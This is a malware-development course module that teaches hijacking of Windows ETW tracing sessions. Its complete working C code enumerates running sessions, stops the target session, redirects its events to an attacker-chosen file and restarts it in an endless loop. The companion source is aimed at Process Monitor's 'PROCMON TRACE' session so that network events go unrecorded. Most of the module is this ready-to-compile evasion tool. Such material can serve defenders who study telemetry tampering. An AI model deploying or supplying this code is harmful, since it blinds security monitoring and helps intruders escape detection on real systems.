MalDev Study
Advanced Module 17advanced4 code files

Event Tracing For Windows - ETW Provider Session Hijacking

In earlier modules, the primary focus was targeting specific ETW functions to prevent events from being recorded in the tracing session. However, an alternative approach called ...

Jump to Section (10)

Introduction

In earlier modules, the primary focus was targeting specific ETW functions to prevent events from being recorded in the tracing session. However, an alternative approach called "ETW tracing session hijacking" was introduced in Binarly's blog post (available here) which targets active tracing sessions instead. When a tracing session is hijacked, its intended function of sending events to the ETW consumer is disrupted. Instead, the events are intercepted and redirected to a file generated by our implementation, where telemetry data is written. The following image illustrates the process of hijacking an ETW session.

Event Tracing For Windows - ETW Provider Session Hijacking figure

The Algorithm

In order to successfully hijack a running tracing session, our implementation requires administrative privileges. This is necessary because at a certain stage the implementation will need to stop and then restart the targeted tracing session. The following steps outline the required procedures for hijacking a specific tracing session.

1. Verify the target session is running by enumerating and checking its name among the active sessions.

2.Stop the tracing session.

3. Add a new trace file name to the properties of the target session.

4.Proceed with resuming the tracing session, which will subsequently direct events to the new trace file set in the previous step.

The following sections of the module will explain these steps in more depth.

Enumerating Running Sessions

Previously, the enumeration of running sessions was accomplished using the QueryEtwSessions tool from Maldev Academy. This tool utilizes the QueryAllTracesW WinAPI, which is responsible for retrieving information about all active traces. When QueryAllTracesW executes successfully, it returns an error code of ERROR_SUCCESS. The QueryAllTracesW WinAPI is shown below.

CPP
ULONG WMIAPI QueryAllTracesW(
  [out] PEVENT_TRACE_PROPERTIES *PropertyArray,           // An array of pointers to EVENT_TRACE_PROPERTIES structures that receive session configu
ration for running event tracing sessions.
  [in]  ULONG                   PropertyArrayCount,       // Number of structures in the PropertyArray array.
  [out] PULONG                  LoggerCount           // Actual number of event tracing sessions started on the computer.
);

Since the maximum number of running ETW sessions on a system is 64, it's better to provide an array of 64 elements of type PEVENT_TRACE_PROPERTIES as the first parameter for the QueryAllTracesW function. According to Microsoft's documentation, each PEVENT_TRACE_PROPERTIES element in the array needs to populate fields such as Wnode.BufferSize, LoggerNameOffset, and LogFileNameOffset. However, for our specific case, it is sufficient to only populate the Wnode.BufferSize field. This field should be set to the size of a single PEVENT_TRACE_PROPERTIES element within the array. By following this approach, we can effectively manage the enumeration of running ETW sessions.

Here is the code implementation for invoking the QueryAllTracesW WinAPI.

CPP
#define MAXSTR                  1024
#define MAXIMUM_LOGGERS          64
CPP
PEVENT_TRACE_PROPERTIES  LoggerInfo[MAXIMUM_LOGGERS]  = { 0 };
PEVENT_TRACE_PROPERTIES  Storage                      = NULL,
                        FixedStoragePntr             = NULL;
    
// Max size, in bytes, of one element
ULONG   SizeForOneProperty       = sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR);

// Max size, in bytes, of all potential returned trace sessions
ULONG   SizeNeeded          = MAXIMUM_LOGGERS * SizeForOneProperty;
ULONG   uStatus             = ERROR_SUCCESS;
ULONG   ReturnCount         = NULL;

// Allocate enough memory to hold the maximum number of tracing sessions
Storage = (PEVENT_TRACE_PROPERTIES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SizeNeeded);
if (Storage == NULL)
    return -1;

// Save a pointer to the allocated memory to free later on
FixedStoragePntr = Storage;

// Initialize every 'EVENT_TRACE_PROPERTIES' struct 'Storage' in and save it to the 'LoggerInfo' array
for (ULONG LoggerCounter = 0; LoggerCounter < MAXIMUM_LOGGERS; LoggerCounter++) {

    // Populate the required elements
    Storage->Wnode.BufferSize    = SizeForOneProperty;

    // Save the pointer to the array
    LoggerInfo[LoggerCounter]    = Storage;

    // Move to the next allocated structure
    Storage = (PEVENT_TRACE_PROPERTIES)((PUCHAR)Storage + Storage->Wnode.BufferSize);
}

// Query all the running tracing session
uStatus = QueryAllTracesW(LoggerInfo, MAXIMUM_LOGGERS, &ReturnCount);
if (uStatus != ERROR_SUCCESS) {
        printf("[!] QueryAllTracesW Failed With Error : %d \n", uStatus);
}

// Free allocated buffer
HeapFree(GetProcessHeap(), 0, FixedStoragePntr);

After executing QueryAllTracesW successfully, the next task involves searching for the target tracing session within the array that is returned. To achieve this, the name of the target tracing session needs to be predetermined in order to compare it with the names of the currently running sessions. When the target session is located, its properties can be retrieved and hijacked. The following code snippet is utilized to identify the target tracing session within the returned array.

CPP
// Target tracing session name
#define ETW_SESSION_TO_HIJACK    L"TARGET TRACING SESSION NAME"

// ...

uStatus = QueryAllTracesW(LoggerInfo, MAXIMUM_LOGGERS, &ReturnCount);
if (uStatus == ERROR_SUCCESS) {
    // Looping through the returned tracing session 
    for (ULONG LoggerCounter = 0; LoggerCounter < ReturnCount; LoggerCounter++) {

    // Calculating the address of the tracing session name using its offset
    if ((LoggerInfo[LoggerCounter]->LoggerNameOffset > 0) && (LoggerInfo[LoggerCounter]->LoggerNameOffset < LoggerInfo[LoggerCounter]->Wnode.Buffer
Size)) 
        LoggerName = (LPTSTR)((PUCHAR)LoggerInfo[LoggerCounter] + LoggerInfo[LoggerCounter]->LoggerNameOffset);
    else 
        LoggerName = NULL;

    // Compare the name fetched to that of the session to hijack
    if (LoggerName != NULL && wcscmp(LoggerName, ETW_SESSION_TO_HIJACK) == 0) {
                // Hijack LoggerInfo[LoggerCounter]
        break;
    }
    }
}

Stopping The Session

Once the properties of the target tracing session have been retrieved, the next step involves invoking the StopTraceW WinAPI function to halt the session. Successful execution of StopTraceW is indicated by the return value ERROR_SUCCESS. The StopTraceW WinAPI is shown below.

CPP
ULONG WMIAPI StopTraceW(
  TRACEHANDLE             TraceHandle,       // Target session handle - set to NULL 
  LPCWSTR                 InstanceName,      // Target session name
  PEVENT_TRACE_PROPERTIES Properties     // Tracing session's properties fetched from the 'QueryAllTracesW' call
);

Updating The Session's Properties

When ending the tracing session, it is necessary to specify a different file path for tracing. Tracing files are set using the LogFileNameOffset element of the EVENT_TRACE_PROPERTIES structure, where adding the address of the structure to the offset of the trace file name (LogFileNameOffset), results in the address of which the file name should be written to. The code below demonstrates the StopTraceW WinAPI usage and adds a fake tracing file path.

CPP
#define FAKE_LOG_FILE            L"C:\\FakeLogFile.etl" // The fake trace file path that the events will get written to instead of being sent to th
e ETW consumer

// ...

// Compare the name fetched to that of the session to hijack
if (LoggerName != NULL && wcscmp(LoggerName, ETW_SESSION_TO_HIJACK) == 0) {
        // Hijack LoggerInfo[LoggerCounter] :

    // Stopping the tracing session
    if ((uStatus = StopTraceW((TRACEHANDLE)0, ETW_SESSION_TO_HIJACK, LoggerInfo[LoggerCounter])) != ERROR_SUCCESS) {
            printf("[-] StopTraceW Failed With Error %d \n", uStatus);
        return -1;
    }

    // Copying 'FAKE_LOG_FILE' to an address equal to (LoggerInfo + LogFileNameOffset), thus constructing a trace file path 
    LPTSTR LogFileName = (LPTSTR)((PCHAR)LoggerInfo[LoggerCounter] + LoggerInfo[LoggerCounter]->LogFileNameOffset);
    wcscpy_s(LogFileName, MAXSTR, FAKE_LOG_FILE);

    // Starting back the session ...

    break;
}

Restarting The Session

Once the session's properties have been updated and configured to write events to a tracing file under our control, the session can be restarted. This can be achieved by utilizing the StartTraceW WinAPI. When executed successfully, the function returns the value ERROR_SUCCESS. The StartTraceW WinAPI is shown below.

CPP
ULONG WMIAPI StartTraceW(
  [out]     PTRACEHANDLE            TraceHandle,  // A pointer to a 'TRACEHANDLE' variable that will receive the created session's handle
  [in]      LPCWSTR                 InstanceName, // The session's name
  [in, out] PEVENT_TRACE_PROPERTIES Properties        // The session's properties 
);

Calling the StartTraceW WinAPI is demonstrated in the following code snippet.

CPP
// ...

// Compare the name fetched to that of the session to hijack
if (LoggerName != NULL && wcscmp(LoggerName, ETW_SESSION_TO_HIJACK) == 0) {
        // Hijack LoggerInfo[LoggerCounter] :

    // Stopping the tracing session
    if ((uStatus = StopTraceW((TRACEHANDLE)0, ETW_SESSION_TO_HIJACK, LoggerInfo[LoggerCounter])) != ERROR_SUCCESS) {
            printf("[-] StopTraceW Failed With Error %d \n", uStatus);
            return -1;
    }

    // Copying 'FAKE_LOG_FILE' to an address equal to (LoggerInfo + LogFileNameOffset), thus constructing a trace file path 
    LogFileName = (LPTSTR)((PCHAR)LoggerInfo[LoggerCounter] + LoggerInfo[LoggerCounter]->LogFileNameOffset);
    wcscpy_s(LogFileName, MAXSTR, FAKE_LOG_FILE);
CPP
    // Start the trace session with the updated properties
    if ((uStatus = StartTraceW(&LoggerHandle, (LPCWSTR)ETW_SESSION_TO_HIJACK, LoggerInfo[LoggerCounter])) != ERROR_SUCCESS) {
        printf("[-] StartTraceW Failed With Error %d \n", uStatus);
        return;
    }

    break;
}

HijackEtwSession Function

The HijackEtwSession function accepts a single argument, a pointer to the target EVENT_TRACE_PROPERTIES structure. Within this function, the previously described hijacking routine is executed. This session hijacking routine operates within an infinite while-loop, enabling it to hijack the same tracing session consistently, even if it was reset to default settings by an ETW controller (such as logman).

The HijackEtwSession function calls another WinAPI, QueryTraceW. This WinAPI verifies that the target session is still running. If the session is not running, a Sleep function is triggered to pause the execution and wait for the target session to become active once more.

Finally, the HijackEtwSession function uses another custom function, IsSessionHijacked, to check if the session is already hijacked. The function does this by comparing the trace file name to the FAKE_LOG_FILE constant. If IsSessionHijacked returns TRUE, it means the session is already hijacked.

CPP
// Return TRUE if the trace file name matches that of our FAKE_LOG_FILE
BOOL IsSessionHijacked(IN PEVENT_TRACE_PROPERTIES LoggerInfo) {
    LPTSTR LogFileName = (LPTSTR)((PCHAR)LoggerInfo + LoggerInfo->LogFileNameOffset);
    return (*(ULONG_PTR*)LogFileName != NULL && wcscmp(LogFileName, FAKE_LOG_FILE) == 0) ? TRUE : FALSE;
}

The HijackEtwSession function is shown below.

CPP
VOID HijackEtwSession(IN PEVENT_TRACE_PROPERTIES LoggerInfo) {

    ULONG           uError          = ERROR_SUCCESS;
    TRACEHANDLE     LoggerHandle    = NULL;
    LPTSTR          LogFileName     = NULL;

    // The session may be hijacked, but we need to continue running the hijack routine in case the logger process was restarted.
    // Thus the code is executed inside of an infinite while loop
    while (1){

        // Check if the target session is running
        if ((uError = QueryTraceW((TRACEHANDLE)0, ETW_SESSION_TO_HIJACK, LoggerInfo)) != ERROR_SUCCESS && uError != ERROR_WMI_INSTANCE_NOT_FOUND) {
            printf("\t[-] QueryTraceW Failed With Error %d \n", uError);
            return;
        }

        // If the session is not found, sleep (waiting for it to come online)
        if (uError == ERROR_WMI_INSTANCE_NOT_FOUND) {
            // You can construct a timeout here ...
            goto _DelayExecution;
        }

        // Session already hijacked
        if (IsSessionHijacked(LoggerInfo)) {
            goto _DelayExecution;
        }

        // Stopping the tracing session
        if ((uError = StopTraceW((TRACEHANDLE)0, ETW_SESSION_TO_HIJACK, LoggerInfo)) != ERROR_SUCCESS) {
            printf("\t[-] StopTraceW Failed With Error %d \n", uError);
            return;
        }

        // Copying 'FAKE_LOG_FILE' to an address equal to (LoggerInfo + LogFileNameOffset), thus constructing a trace file path 
        LogFileName = (LPTSTR)((PCHAR)LoggerInfo + LoggerInfo->LogFileNameOffset);
        wcscpy_s(LogFileName, MAXSTR, FAKE_LOG_FILE);

        // Start the trace session with the updated properties
        if ((uError = StartTraceW(&LoggerHandle, (LPCWSTR)ETW_SESSION_TO_HIJACK, LoggerInfo)) != ERROR_SUCCESS) {
            printf("\t[-] StartTraceW Failed With Error %d \n", uError);
            return;
        }

_DelayExecution:
        Sleep(500 * 1);
    }
}

Complete Implementation

The main function below uses QueryAllTracesW to enumerate all the running sessions. Next, it uses the custom HijackEtwSession function to hijack the specified trace session.

CPP
int main() {

    PEVENT_TRACE_PROPERTIES  LoggerInfo[MAXIMUM_LOGGERS]  = { 0 };
    PEVENT_TRACE_PROPERTIES  Storage                      = NULL,
                            FixedStoragePntr             = NULL;

    // Max size, in bytes, of one element
    ULONG   SizeForOneProperty   = sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR);
    // Max size, in bytes, of all potentially returned trace sessions
    ULONG   SizeNeeded          = MAXIMUM_LOGGERS * SizeForOneProperty;
    ULONG   uStatus             = ERROR_SUCCESS;
    ULONG   ReturnCount         = NULL;
    LPTSTR  LoggerName          = NULL;
    BOOL    bFound              = FALSE;

    // Allocate enough memory to hold the maximum number of tracing sessions
    Storage = (PEVENT_TRACE_PROPERTIES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SizeNeeded);
    if (Storage == NULL)
        return -1;

    // Save a pointer to the allocated memory to free later on
    FixedStoragePntr = Storage;

    // Initialize every 'EVENT_TRACE_PROPERTIES' struct 'Storage' in and save it to the 'LoggerInfo' array
    for (ULONG LoggerCounter = 0; LoggerCounter < MAXIMUM_LOGGERS; LoggerCounter++) {

        // Populate the required elements
        Storage->Wnode.BufferSize    = SizeForOneProperty;

        // Save the pointer to the array
        LoggerInfo[LoggerCounter]    = Storage;

        // Move to the next allocated structure
        Storage = (PEVENT_TRACE_PROPERTIES)((PUCHAR)Storage + Storage->Wnode.BufferSize);
    }

    // Query all the running tracing session
    uStatus = QueryAllTracesW(LoggerInfo, MAXIMUM_LOGGERS, &ReturnCount);
    if (uStatus == ERROR_SUCCESS) {
        // Looping through the returned tracing session 
        for (ULONG LoggerCounter = 0; LoggerCounter < ReturnCount; LoggerCounter++) {

            // Calculating the address of the tracing session name using its offset
            if ((LoggerInfo[LoggerCounter]->LoggerNameOffset > 0) && (LoggerInfo[LoggerCounter]->LoggerNameOffset < LoggerInfo[LoggerCounter]->Wnod
e.BufferSize)) 
                LoggerName = (LPTSTR)((PUCHAR)LoggerInfo[LoggerCounter] + LoggerInfo[LoggerCounter]->LoggerNameOffset);
            else 
                LoggerName = NULL;

            // Compare the name fetched to that of the session to hijack
            if (LoggerName != NULL && wcscmp(LoggerName, ETW_SESSION_TO_HIJACK) == 0) {

                printf("[i] Found target ETW tracing session, hijacking ...\n");
                // Call 'HijackEtwSession', passing a pointer to the 'EVENT_TRACE_PROPERTIES' structure of the target tracing session
                HijackEtwSession(LoggerInfo[LoggerCounter]);

                bFound = TRUE;
                break;
            }

        }
    }

    if (!bFound) {
        wprintf(L"[-] The Session \"%s\" Was Not Found \n", ETW_SESSION_TO_HIJACK);
    }

    // Free allocated buffer
    HeapFree(GetProcessHeap(), 0, FixedStoragePntr);
    return 1;
}

Demo

In the Binarly blog post, the target session was named PROCMON TRACE. This session is created by Procmon to capture network events. The following images show the results of targeting this session with our implementation.

The PROCMON TRACE session running normally.

Event Tracing For Windows - ETW Provider Session Hijacking figure

Hijacking the PROCMON TRACE session, and forcing it to write events to C:\FakeLogFile.etl. No new events are recorded on Procmon's network events tab.

Event Tracing For Windows - ETW Provider Session Hijacking figure

The images below show the PROCMON TRACE session's properties before and after hijacking it.

Event Tracing For Windows - ETW Provider Session Hijacking figure
Event Tracing For Windows - ETW Provider Session Hijacking figure

Video Demo

The video below shows the EtwSessionHijacking implementation hijacking the PROCMON TRACE trace session of the Process Monitor tool and successfully blocking it from logging network events.

Event Tracing For Windows - ETW Provider Session Hijacking figure
Diagram

Companion Project & Source Code

4 readable source/config files extracted directly from the archive

Download Module 17 - EtwSessionHijacking.zip
6.0 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

//\
	Reference:																														\
https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/winbase/Eventing/Controller/tracelog.c

#include <Windows.h>
#include <stdio.h>
#include <conio.h>
#include <strsafe.h>
#include <wmistr.h>
#include <shellapi.h>
#include <tchar.h>
#include <evntrace.h>

// Session name to hijack:
//
#define	ETW_SESSION_TO_HIJACK	L"PROCMON TRACE"
//\
#define	ETW_SESSION_TO_HIJACK	L"MALDEVACAD_DOT_NET_ETW"


#define MAXSTR					1024
#define MAXIMUM_LOGGERS			64					   // Max number of running sessions on the system		
#define FAKE_LOG_FILE			L"C:\\FakeLogFile.etl" // The string should be smaller than MAXSTR


// Return TRUE if the trace file name matches that of our FAKE_LOG_FILE
BOOL IsSessionHijacked(IN PEVENT_TRACE_PROPERTIES LoggerInfo) {
	LPTSTR LogFileName = (LPTSTR)((PCHAR)LoggerInfo + LoggerInfo->LogFileNameOffset);
	return (*(ULONG_PTR*)LogFileName != NULL && wcscmp(LogFileName, FAKE_LOG_FILE) == 0) ? TRUE : FALSE;
}


VOID HijackEtwSession(IN PEVENT_TRACE_PROPERTIES LoggerInfo) {
	
	ULONG			uError			= ERROR_SUCCESS;
	TRACEHANDLE		LoggerHandle	= NULL;
	LPTSTR			LogFileName		= NULL;
	
	// The session may be hijacked, but we need to continue running the hijack routine in case the logger process was restarted.
	// Thus the code is executed inside of an infinite while loop
	while (1){

		// Check if the target session is running
		if ((uError = QueryTraceW((TRACEHANDLE)0, ETW_SESSION_TO_HIJACK, LoggerInfo)) != ERROR_SUCCESS && uError != ERROR_WMI_INSTANCE_NOT_FOUND) {
			printf("\t[-] QueryTraceW Failed With Error %d \n", uError);
			return;
		}

		// If the session is not found, sleep (waiting for it to come online)
		if (uError == ERROR_WMI_INSTANCE_NOT_FOUND) {
			// You can construct a timeout here ...
			goto _DelayExecution;
		}

		// Session already hijacked
		/*
		if (IsSessionHijacked(LoggerInfo)) {
			printf("\t[+] Tracing session is already hijacked \n");
			goto _DelayExecution;
		}
		*/

		printf("\t[i] Restarting Target Session With Hijacked Settings: \n");

		// Stopping the tracing session
		wprintf(L"\t\t>>> Stopping The \"%s\" Session ... ", ETW_SESSION_TO_HIJACK);
		if ((uError = StopTraceW((TRACEHANDLE)0, ETW_SESSION_TO_HIJACK, LoggerInfo)) != ERROR_SUCCESS) {
			printf("\t[-] StopTraceW Failed With Error %d \n", uError);
			return;
		}
		printf("[+] DONE \n");

		// Copying 'FAKE_LOG_FILE' to an address equal to (LoggerInfo + LogFileNameOffset), thus constructing a trace file path 
		wprintf(L"\t\t>>> Updating The Trace File Name To \"%s\" ... ", FAKE_LOG_FILE);
		LogFileName = (LPTSTR)((PCHAR)LoggerInfo + LoggerInfo->LogFileNameOffset);
		wcscpy_s(LogFileName, MAXSTR, FAKE_LOG_FILE);
		printf("[+] DONE \n");

		// Start the trace session with the updated properties
		wprintf(L"\t\t>>> Starting The \"%s\" Session With Fake Settings ... ", ETW_SESSION_TO_HIJACK);
		if ((uError = StartTraceW(&LoggerHandle, (LPCWSTR)ETW_SESSION_TO_HIJACK, LoggerInfo)) != ERROR_SUCCESS) {
			printf("\t[-] StartTraceW Failed With Error %d \n", uError);
			return;
		}
		printf("[+] DONE \n");

_DelayExecution:
		Sleep(500 * 1);
	}

}



int main() {

	PEVENT_TRACE_PROPERTIES		LoggerInfo[MAXIMUM_LOGGERS]			= { 0 };
	PEVENT_TRACE_PROPERTIES		Storage								= NULL,
								FixedStoragePntr					= NULL;

	// Max size, in bytes, of one element
	ULONG	SizeForOneProperty	= sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR);
	// Max size, in bytes, of all potential returned trace sessions
	ULONG	SizeNeeded			= MAXIMUM_LOGGERS * SizeForOneProperty;
	ULONG	uStatus				= ERROR_SUCCESS;
	ULONG	ReturnCount			= NULL;
	LPTSTR	LoggerName			= NULL;
	BOOL	bFound				= FALSE;

	// Allocate enough memory to hold the maximum number of tracing sessions
	Storage = (PEVENT_TRACE_PROPERTIES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SizeNeeded);
	if (Storage == NULL)
		return -1;
	
	// Save a pointer to the allocated memory to free later on
	FixedStoragePntr = Storage;

	// Initialize every 'EVENT_TRACE_PROPERTIES' struct 'Storage' in and save it to the 'LoggerInfo' array
	for (ULONG LoggerCounter = 0; LoggerCounter < MAXIMUM_LOGGERS; LoggerCounter++) {

		// Populate the required elements
		Storage->Wnode.BufferSize	= SizeForOneProperty;
		Storage->LoggerNameOffset	= sizeof(EVENT_TRACE_PROPERTIES);
		Storage->LogFileNameOffset	= sizeof(EVENT_TRACE_PROPERTIES) + MAXSTR * sizeof(TCHAR);

		// Save the pointer to the array
		LoggerInfo[LoggerCounter]	= Storage;

		// Move to the next allocated structure
		Storage = (PEVENT_TRACE_PROPERTIES)((PUCHAR)Storage + Storage->Wnode.BufferSize);
	}

	// Query all the running tracing session
	uStatus = QueryAllTracesW(LoggerInfo, MAXIMUM_LOGGERS, &ReturnCount);
	if (uStatus == ERROR_SUCCESS) {
		// Looping through the returned tracing session 
		for (ULONG LoggerCounter = 0; LoggerCounter < ReturnCount; LoggerCounter++) {

			// Calculating the address of the tracing session name using its offset
			if ((LoggerInfo[LoggerCounter]->LoggerNameOffset > 0) && (LoggerInfo[LoggerCounter]->LoggerNameOffset < LoggerInfo[LoggerCounter]->Wnode.BufferSize)) 
				LoggerName = (LPTSTR)((PUCHAR)LoggerInfo[LoggerCounter] + LoggerInfo[LoggerCounter]->LoggerNameOffset);
			else 
				LoggerName = NULL;

			// Compare the name fetched to that of the session to hijack
			if (LoggerName != NULL && wcscmp(LoggerName, ETW_SESSION_TO_HIJACK) == 0) {
				
				// If found
				printf("[i] Found target ETW tracing session, hijacking ...\n");
				// Call 'HijackEtwSession', passing a pointer to the 'EVENT_TRACE_PROPERTIES' structure of the target tracing session
				// It is better to use CreateThread
				HijackEtwSession(LoggerInfo[LoggerCounter]);
				
				bFound = TRUE;
				break;
			}

		}
	}

	if (!bFound) {
		wprintf(L"[-] The Session \"%s\" Was Not Found \n", ETW_SESSION_TO_HIJACK);
	}

	// Free allocated buffer
	HeapFree(GetProcessHeap(), 0, FixedStoragePntr);
	return 1;
}

Full Archive Manifest (5 files inside .zip)
  • EtwSessionHijacking/EtwSessionHijacking.sln
  • EtwSessionHijacking/EtwSessionHijacking/EtwSessionHijacking.vcxproj
  • EtwSessionHijacking/EtwSessionHijacking/EtwSessionHijacking.vcxproj.filters
  • EtwSessionHijacking/EtwSessionHijacking/EtwSessionHijacking.vcxproj.user
  • EtwSessionHijacking/EtwSessionHijacking/main.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.